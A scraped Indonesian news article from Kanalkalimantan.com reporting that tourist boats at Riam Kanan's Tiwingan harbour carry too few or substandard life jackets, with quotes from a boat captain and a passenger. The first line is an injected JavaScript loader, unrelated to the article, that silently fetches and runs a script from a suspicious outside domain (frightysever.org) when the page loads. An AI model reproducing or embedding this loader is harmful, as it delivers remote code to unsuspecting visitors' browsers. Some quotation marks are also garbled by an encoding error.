(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kabupaten Banjar memang memiliki banyak tawaran untuk berwisata. Di Riam Kanan saja misalnya , terdapat banyak sekali pilihan destinasi yang bisa dikunjungi. Mulai Pulau Sirang, Pulau Pinus, Bukit Batas, Sei Luar Villa, Gunung Batu, hingga Bukit Tabuan. Namun sebagian besar objek wisata yang disuguhkan tersebut untuk bisa mencapai suatu tempat tujuannya, harus menggunakan perahu atau kapal tardisional yang berada di sebuah Pelabuhan Tiwingan.
Di sana, terlihat puluhan angkutan sungai atau danau di sebuah penyeberangan Riam Kanan berjajaran dan bersusun rapi. Namun ketika Kanalkalimantan.com memantau beberapa kapal angkutan wisata itu, masih sedikit ditemui pelampung keselamatan yang tentunya merupakan sebuah kewajiban setiap kapal wisata untuk berjaga-jaga jika terjadi suatu hal yang tak diinginkan.
Ya, berbagai faktor penyebab utama kecelakaan kapal di antaranya akibat dari jumlah penumpang yang melebihi kapasitas angkut, faktor teknis, pengelolaan lalu lintas, human error, serta faktor alam seperti cuaca buruk, merupakan permasalahan yang sering dianggap sebagai penyebab utama dalam kecelakaan kapal.
Nampak dua dari 10 kapal yang berada di Pelabuhan Riam Kanan tersebut tidak menyediakan pelampung keselamatan. Sedangkan tujuh kapal dengan hanya 2-3 pelampung dan sisanya lagi menggunakan 1 pelampung keselamatan di setiap perahunya. Itu pun tak semua pelampung keselamatan memenuhi standar yang seharusnya. Sehingga hanya menjadi sebuah pajangan di kapal tersebut.
M Andri, salah seorang mahkoda kapal mengatakan tak begitu mengerti tentang pengadaan pelampung keselamatan yang ada di setiap kapal. Ada beberapa yang diberi dengan cuma-cuma oleh pemerintah, namun ada pula yang membeli sendiri ucapnya, sebagai jaga-jaga jika terjadi sesuatu yang tak di inginkan. “Namun karena harga pelampungnya yang lumayan mahal makanya mungkin tidak setiap kapal mempunyai palampung ,†ungkapnya.
Salah seorang penyewa kapal, Muhammad Iqbal dan 11 rombongan temannya yang ingin berpergian ke objek wisata Bukit Batas mengatakan agak sedikit khawatir juga jika terjadi suatu yang tak di inginkan. “Misalnya ketika kapal yang di tumpangi terbalik, jika hanya menggunakan 2-3 pelampung tentunya tidak memenuhi dan harapannya hal tersebut menjadi sebuah perhatian bagi pemerintah Kabupaten Banjar yang mengelola objek wisata ini sebagai pertimbangkan keselamatan juga diutamakan,†harapnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.